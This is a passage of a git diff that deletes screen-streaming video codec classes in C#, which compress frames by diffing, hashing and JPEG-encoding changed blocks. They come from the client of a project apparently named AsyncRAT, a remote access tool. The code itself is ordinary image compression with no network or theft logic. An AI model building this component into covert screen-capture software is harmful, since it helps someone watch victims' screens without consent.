bitmap.PixelFormat); - int Stride = Math.Abs(bmpData.Stride); - - List Blocks = new List(); - - for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride) - { - if (onCodeDebugScan != null) - onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1)); - - Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1); - if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0) - { - byte[] temp = new byte[Stride]; - fixed(byte* ptr = temp) - { - NativeMethods.memcpy(ptr, (void*)(bmpData.Scan0.ToInt32() + i), (uint)temp.Length); - } - - CRC32 hasher = new CRC32(); - int hash = BitConverter.ToInt32(hasher.ComputeHash(temp), 0); - - if (EncodeCache.Count >= MaxBuffers) - EncodeCache.RemoveAt(0); - - if (EncodeCache.ContainsKey(hash)) - { - outStream.WriteByte(1); - outStream.Write(new byte[4], 0, 4); - outStream.Write(BitConverter.GetBytes(hash), 0, 4); - outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2); - } - else - { - outStream.WriteByte(0); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(BitConverter.GetBytes(hash), 0, 4); - outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2); - outStream.Write(temp, 0, temp.Length); - EncodeCache.Add(hash, temp); - } - Blocks.Add(ScanBlock); - } - } - - for (int i = 0; i < Blocks.Count; i++) - { - Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat); - byte[] temp = base.jpgCompression.Compress(cloned); - - cloned.Dispose(); - } - - bitmap.UnlockBits(bmpData); - CodeTempBitmap.UnlockBits(CodeBmpData); - - if (onVideoStreamCoding != null) - onVideoStreamCoding(outStream, Blocks.ToArray()); - - if (CodeTempBitmap != null) - CodeTempBitmap.Dispose(); - this.CodeTempBitmap = bitmap; - } - - public override Bitmap DecodeData(Stream inStream) - { - if (!inStream.CanRead) - throw new Exception("Must have access to Read in the Stream"); - - if (DecodeTempBitmap == null) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return DecodeTempBitmap; - } - - //BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat); - //int Stride = Math.Abs(BmpData.Stride); - - while (inStream.Position < inStream.Length) - { - byte[] temp = new byte[11]; - if (inStream.Read(temp, 0, temp.Length) != temp.Length) - break; - - bool inCache = temp[0] == 1; - int DataSize = BitConverter.ToInt32(temp, 1); - int Hash = BitConverter.ToInt32(temp, 5); - ushort Y = BitConverter.ToUInt16(temp, 9); - - temp = new byte[DataSize]; - if (inStream.Read(temp, 0, temp.Length) != temp.Length) - break; - - if (inCache) - { - if (DecodeCache.ContainsKey(Hash)) - { - temp = DecodeCache[Hash]; - } - else - { - - } - } - - //copy new data to cached bitmap - Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - - using (Graphics g = Graphics.FromImage(DecodeTempBitmap)) - { - g.DrawImage(tmpBmp, new Point(0, Y)); - } - - /*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat); - int Offset = Y * Stride; - NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/ - //tmpBmp.UnlockBits(tmpData); - tmpBmp.Dispose(); - } - //DecodeTempBitmap.UnlockBits(BmpData); - - return DecodeTempBitmap; - } - } -} diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickStreamCodec.cs deleted file mode 100644 index ee8227c..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickStreamCodec.cs +++ /dev/null @@ -1,179 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class QuickStreamCodec : IVideoCodec - { - private Bitmap CodeTempBitmap; - private Bitmap DecodeTempBitmap; - - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - public override ulong CachedSize - { - get; - internal set; - } - - /// - /// Initialize a new object of QuickStreamCodec - /// - /// The image quality 0-100% - public QuickStreamCodec(int ImageQuality = 100) - : base(ImageQuality) - { - - } - - public override int BufferCount - { - get { return 1; } - } - public override CodecOption CodecOptions - { - get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; } - } - - public override void CodeImage(Bitmap bitmap, Stream outStream) - { - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - if (CodeTempBitmap != null) - { - if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height) - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - } - - if (CodeTempBitmap == null) - { - byte[] temp = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - CodeTempBitmap = bitmap; - return; - } - - BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); - BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); - int Stride = Math.Abs(bmpData.Stride); - - List Blocks = new List(); - - for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride) - { - if(onCodeDebugScan != null) - onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1)); - - Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1); - if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0) - { - int index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == ScanBlock.Y) - { - ScanBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + ScanBlock.Height); - Blocks[index] = ScanBlock; - } - else - { - Blocks.Add(ScanBlock); - } - } - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - for (int i = 0; i < Blocks.Count; i++) - { - Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat); - byte[] temp = base.jpgCompression.Compress(cloned); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(BitConverter.GetBytes((ushort)Blocks[i].Y), 0, 2); - outStream.Write(temp, 0, temp.Length); - cloned.Dispose(); - TotalDataLength += 6 + temp.Length; - } - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - - bitmap.UnlockBits(bmpData); - CodeTempBitmap.UnlockBits(CodeBmpData); - - if (onVideoStreamCoding != null) - onVideoStreamCoding(outStream, Blocks.ToArray()); - - if (CodeTempBitmap != null) - CodeTempBitmap.Dispose(); - this.CodeTempBitmap = bitmap; - } - - public override Bitmap DecodeData(Stream inStream) - { - if (!inStream.CanRead) - throw new Exception("Must have access to Read in the Stream"); - - if (DecodeTempBitmap == null) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 4); - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return DecodeTempBitmap; - } - - - byte[] LenTemp = new byte[4]; - inStream.Read(LenTemp, 0, 4); - int DataLength = BitConverter.ToInt32(LenTemp, 0); - - //BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat); - //int Stride = Math.Abs(BmpData.Stride); - - while (DataLength > 0) - { - byte[] temp = new byte[6]; - if (inStream.Read(temp, 0, temp.Length) != temp.Length) - break; - - int DataSize = BitConverter.ToInt32(temp, 0); - ushort Y = BitConverter.ToUInt16(temp, 4); - temp = new byte[DataSize]; - if (inStream.Read(temp, 0, temp.Length) != temp.Length) - break; - - //copy new data to cached bitmap - Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - - using (Graphics g = Graphics.FromImage(DecodeTempBitmap)) - { - g.DrawImage(tmpBmp, new Point(0, Y)); - } - - /*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat); - int Offset = Y * Stride; - NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/ - //tmpBmp.UnlockBits(tmpData); - tmpBmp.Dispose(); - DataLength -= 6 + temp.Length; - } - //DecodeTempBitmap.UnlockBits(BmpData); - - return DecodeTempBitmap; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallCachedStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallCachedStreamCodec.cs deleted file mode 100644 index 85155be..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallCachedStreamCodec.cs +++ /dev/null @@ -1,374 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class SmallCachedStreamCodec : IVideoCodec - { - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - SortedList codeCached; - SortedList decodeCached; - public override int BufferCount - { - get { return codeCached.Count; } - } - public override ulong CachedSize - { - get; - internal set; - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.HasBuffers | CodecOption.RequireSameSize; } - } - - private Size CheckBlock { get; set; } - public SimpleBitmap LastFrame { get; set; } - private object ImageProcessLock = new object(); - private Bitmap decodedBitmap; - private CRC32 hasher; - public int MaxBuffers { get; private set; } - - /// - /// Initialize a new object of SmallCachedStreamCodec - /// - /// The maximum amount of buffers, higher value will decrease stream size but could decrease performance - /// The image quality 0-100% - public SmallCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100) - : base(ImageQuality) - { - CheckBlock = new Size(20, 1); - codeCached = new SortedList(); - decodeCached = new SortedList(); - hasher = new CRC32(); - this.MaxBuffers = MaxBuffers; - } - - private void SetLastFrame(ref Bitmap bmp) - { - SetLastFrame(new SimpleBitmap(bmp)); - } - private void SetLastFrame(SimpleBitmap bmp) - { - lock (ImageProcessLock) - { - if (LastFrame != null && LastFrame.Locked) - LastFrame.Dispose(true); - LastFrame = bmp; - } - } - - public override unsafe void CodeImage(Bitmap bitmap, Stream outStream) - { - lock (ImageProcessLock) - { - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - if (LastFrame == null) - { - byte[] temp = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - SetLastFrame(ref bitmap); - return; - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - List updates = new List(); - SimpleBitmap sbBmp = new SimpleBitmap(bitmap); - MemoryStream ms = new MemoryStream(); - byte[] buffer = null; - - if (!LastFrame.Locked) - LastFrame.Lock(); - - sbBmp.Lock(); - - if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - - if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height) - { - sbBmp.Unlock(); - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - } - - List Blocks = new List(); - int index = 0; - - int y = 0; - int x = 0; - - Size s = new Size(bitmap.Width, CheckBlock.Height); - Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height); - - int lasty = bitmap.Height - lastSize.Height; - int lastx = bitmap.Width - lastSize.Width; - - Rectangle cBlock = new Rectangle(); - - s = new Size(bitmap.Width, s.Height); - while (y != bitmap.Height) - { - if (y == lasty) - s = new Size(bitmap.Width, lastSize.Height); - - cBlock = new Rectangle(0, y, bitmap.Width, s.Height); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) - //if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) - { - index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) - { - cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); - Blocks[index] = cBlock; - } - else - { - Blocks.Add(cBlock); - } - } - y += s.Height; - } - - List finalUpdates = new List(); - const int CheckHeight = 50; - for (int i = 0; i < Blocks.Count; i++) - { - s = new Size(CheckBlock.Width, Blocks[i].Height); - y = Blocks[i].Y; - lasty = (Blocks[i].Y + Blocks[i].Height); - - while (y != lasty) - { - int ScanHeight = y + CheckHeight > lasty ? lasty - y : CheckHeight; - x = 0; - while (x != bitmap.Width) - { - if (x == lastx) - s = new Size(lastSize.Width, Blocks[i].Height); - cBlock = new Rectangle(x, y, s.Width, ScanHeight); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info)) - { - /*byte[] tempData = new byte[0]; - LastFrame.CopyBlock(cBlock, ref tempData); - finalUpdates.Add(new CacheInfo(0, false, tempData, cBlock));*/ - - //hash it and see if exists in cache - hasher = new CRC32(); //re-initialize for seed - byte[] tempData = new byte[0]; - LastFrame.CopyBlock(cBlock, ref tempData); - int hash = BitConverter.ToInt32(hasher.ComputeHash(tempData), 0); - - if (codeCached.Count >= MaxBuffers) - codeCached.RemoveAt(0); - - if (codeCached.ContainsKey(hash)) - { - CachedSize += (ulong)tempData.Length; - finalUpdates.Add(new CacheInfo(hash, true, new byte[0], cBlock)); - } - else - { - //nothing found in cache let's use the normal way - codeCached.Add(hash, tempData); - finalUpdates.Add(new CacheInfo(hash, false, tempData, cBlock)); - } - } - x += s.Width; - } - y += ScanHeight; - } - } - - for (int i = 0; i < finalUpdates.Count; i++) - { - buffer = new byte[0]; - Rectangle rect = finalUpdates[i].Rect; - - if (!finalUpdates[i].isCached) - { - fixed (byte* ptr = finalUpdates[i].Data) - { - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr))) - { - buffer = base.jpgCompression.Compress(TmpBmp); - } - } - } - - outStream.WriteByte(finalUpdates[i].isCached ? (byte)1 : (byte)0); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Rect.Height), 0, 4); - outStream.Write(BitConverter.GetBytes(finalUpdates[i].Hash), 0, 4); - outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4); - outStream.Write(buffer, 0, buffer.Length); - TotalDataLength += buffer.Length + (4 * 6) + 1; - } - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - - Blocks.Clear(); - SetLastFrame(sbBmp); - ms.Close(); - ms.Dispose(); - } - } - - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - List cacheInfo = new List(); - byte[] HeaderData = new byte[(4 * 6) + 1]; - - while (DataSize > 0) - { - inStream.Read(HeaderData, 0, HeaderData.Length); - - bool isCached = HeaderData[0] == 1; - rect = new Rectangle(BitConverter.ToInt32(HeaderData, 1), BitConverter.ToInt32(HeaderData, 5), - BitConverter.ToInt32(HeaderData, 9), BitConverter.ToInt32(HeaderData, 13)); - int Hash = BitConverter.ToInt32(HeaderData, 17); - int UpdateLen = BitConverter.ToInt32(HeaderData, 21); - - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - //process update data - if (isCached) - { - //data is cached - if (decodeCached.ContainsKey(Hash)) - buffer = decodeCached[Hash]; - else - { - - } - cacheInfo.Add(new CacheInfo(Hash, true, new byte[0], rect)); - } - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - if (buffer.Length > 0) - { - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - - tmp.Dispose(); - m.Close(); - m.Dispose(); - } - - if (decodeCached.Count >= MaxBuffers) - decodeCached.RemoveAt(0); - - if(!decodeCached.ContainsKey(Hash)) - this.decodeCached.Add(Hash, buffer); - DataSize -= UpdateLen + HeaderData.Length; - } - - int CachedSize = 0; - foreach(CacheInfo inf in cacheInfo) - { - CachedSize += (inf.Rect.Width * 4) * inf.Rect.Height; - - - } - Console.WriteLine(cacheInfo.Count + ", " + CachedSize); - g.Dispose(); - return decodedBitmap; - } - - private class CacheInfo - { - public bool isCached = false; - public byte[] Data; - public int Hash; - public Rectangle Rect; - - public CacheInfo(int Hash, bool isCached, byte[] Data, Rectangle Rect) - { - this.Hash = Hash; - this.isCached = isCached; - this.Data = Data; - this.Rect = Rect; - } - - /*public unsafe void CreateHashList(SimpleBitmap sBmp, Size CheckBlock, SmallCachedStreamCodec codec) - { - if (ScanRects.Count > 0) - { - int scanX = ScanRects[0].X; - for (int i = 0; i < ScanRects.Count; i++) - { - int scanWidth = ScanRects[i].Width > CheckBlock.Width ? CheckBlock.Width : ScanRects[i].Width; - Rectangle rect = ScanRects[i]; - rect.Width = scanWidth; - rect.X = scanX; - byte[] buffer = new byte[0]; - sBmp.CopyBlock(rect, ref buffer); - - int hash = BitConverter.ToInt32(new CRC32().ComputeHash(buffer), 0); - - if (!HashList.ContainsKey(hash)) - HashList.Add(hash, rect); - - //fixed (byte* ptr = buffer) - //{ - // using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * sBmp.Info.PixelSize, sBmp.bitmapData.PixelFormat, new IntPtr(ptr))) - // { - // buffer = codec.lzwCompression.Compress(TmpBmp); - // - // } - //} - - scanX += scanWidth; - } - } - }*/ - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallStreamCodec.cs deleted file mode 100644 index 0dea684..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/Codecs/SmallStreamCodec.cs +++ /dev/null @@ -1,266 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.IO; -using System.Text; - -namespace StreamLibrary.Codecs -{ - public class SmallStreamCodec : IVideoCodec - { - public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding; - public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding; - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 1; } - } - public override ulong CachedSize - { - get; - internal set; - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } - } - - public Size CheckBlock { get; set; } - public SimpleBitmap LastFrame { get; set; } - private object ImageProcessLock = new object(); - private Bitmap decodedBitmap; - - /// - /// Initialize a new object of SmallStreamCodec - /// - /// The image quality 0-100% - public SmallStreamCodec(int ImageQuality = 100) - : base(ImageQuality) - { - CheckBlock = new Size(20, 1); - } - - private void SetLastFrame(ref Bitmap bmp) - { - SetLastFrame(new SimpleBitmap(bmp)); - } - private void SetLastFrame(SimpleBitmap bmp) - { - lock (ImageProcessLock) - { - if (LastFrame != null && LastFrame.Locked) - LastFrame.Dispose(true); - LastFrame = bmp; - } - } - - /// - /// Encode the image - /// - /// The image you want to encode. - /// The output stream - public override unsafe void CodeImage(Bitmap bitmap, Stream outStream) - { - lock (ImageProcessLock) - { - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - if (LastFrame == null) - { - byte[] temp = base.jpgCompression.Compress(bitmap); - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - SetLastFrame(ref bitmap); - return; - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - List updates = new List(); - SimpleBitmap sbBmp = new SimpleBitmap(bitmap); - MemoryStream ms = new MemoryStream(); - byte[] buffer = null; - - if (!LastFrame.Locked) - LastFrame.Lock(); - - sbBmp.Lock(); - - if (sbBmp.Info.PixelSize != LastFrame.Info.PixelSize) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - - if (LastFrame.Info.Width != sbBmp.Info.Width || LastFrame.Info.Height != sbBmp.Info.Height) - { - sbBmp.Unlock(); - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - } - - List Blocks = new List(); - int index = 0; - - int y = 0; - int x = 0; - - Size s = new Size(bitmap.Width, CheckBlock.Height); - Size lastSize = new Size(bitmap.Width % CheckBlock.Width, bitmap.Height % CheckBlock.Height); - - int lasty = bitmap.Height - lastSize.Height; - int lastx = bitmap.Width - lastSize.Width; - - Rectangle cBlock = new Rectangle(); - - s = new Size(bitmap.Width, s.Height); - while (y != bitmap.Height) - { - if (y == lasty) - s = new Size(bitmap.Width, lastSize.Height); - - cBlock = new Rectangle(0, y, bitmap.Width, s.Height); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (!SimpleBitmap.Compare(cBlock, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) - //if (!SimpleBitmap.Compare(y, s.Height, LastFrame.Scan0_int, sbBmp.Scan0_int, sbBmp.Info)) - { - index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) - { - cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); - Blocks[index] = cBlock; - } - else - { - Blocks.Add(cBlock); - } - } - y += s.Height; - } - - List finalUpdates = new List(); - for (int i = 0; i < Blocks.Count; i++) - { - s = new Size(CheckBlock.Width, Blocks[i].Height); - x = 0; - while (x != bitmap.Width) - { - if (x == lastx) - s = new Size(lastSize.Width, Blocks[i].Height); - - cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - if (!SimpleBitmap.Compare(cBlock, sbBmp.Scan0_int, LastFrame.Scan0_int, sbBmp.Info)) - { - index = finalUpdates.Count - 1; - if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) - { - Rectangle rect = finalUpdates[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - finalUpdates[index] = cBlock; - } - else - { - finalUpdates.Add(cBlock); - } - } - x += s.Width; - } - } - - for (int i = 0; i < finalUpdates.Count; i++) - { - Rectangle rect = finalUpdates[i]; - sbBmp.CopyBlock(rect, ref buffer); - - fixed (byte* ptr = buffer) - { - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * LastFrame.Info.PixelSize, LastFrame.bitmapData.PixelFormat, new IntPtr(ptr))) - { - buffer = base.jpgCompression.Compress(TmpBmp); - } - } - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4); - outStream.Write(buffer, 0, buffer.Length); - TotalDataLength += buffer.Length + (4 * 5); - } - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - - Blocks.Clear(); - SetLastFrame(sbBmp); - ms.Close(); - ms.Dispose(); - } - } - - /// - /// Decode the video stream - /// - /// The input stream - /// The image that has been decoded - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= buffer.Length + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridBlock.cs b/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridBlock.cs deleted file mode 100644 index ddbd18b..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridBlock.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Text; - -namespace StreamLibrary.Encoders.GridCoder -{ - internal class GridBlock - { - public Rectangle Rect { get; private set; } - public ulong Hash { get; private set; } - private GridEncoder encoder; - - public GridBlock(Rectangle Rect, GridEncoder encoder) - { - this.encoder = encoder; - this.Rect = Rect; - CalculateHash(); - } - - public void CalculateHash() - { - - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridEncoder.cs b/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridEncoder.cs deleted file mode 100644 index 6cfcdfa..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/Encoders/GridCoder/GridEncoder.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Text; - -namespace StreamLibrary.Encoders.GridCoder -{ - public class GridEncoder : IEncoder - { - public override ulong CachedSize - { - get; - internal set; - } - - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 1; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } - } - - - - public override unsafe void CodeImage(IntPtr Scan0, System.Drawing.Rectangle ScanArea, System.Drawing.Size ImageSize, System.Drawing.Imaging.PixelFormat Format, System.IO.Stream outStream) - { - - - - } - - public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream) - { - return null; - } - - public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - return null; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs b/AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs deleted file mode 100644 index 06331f9..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/IEncoder.cs +++ /dev/null @@ -1,46 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary -{ - public abstract class IEncoder - { - protected LzwCompression lzwCompression; - public abstract ulong CachedSize { get; internal set; } - protected object ImageProcessLock { get; private set; } - - private int _imageQuality; - public int ImageQuality - 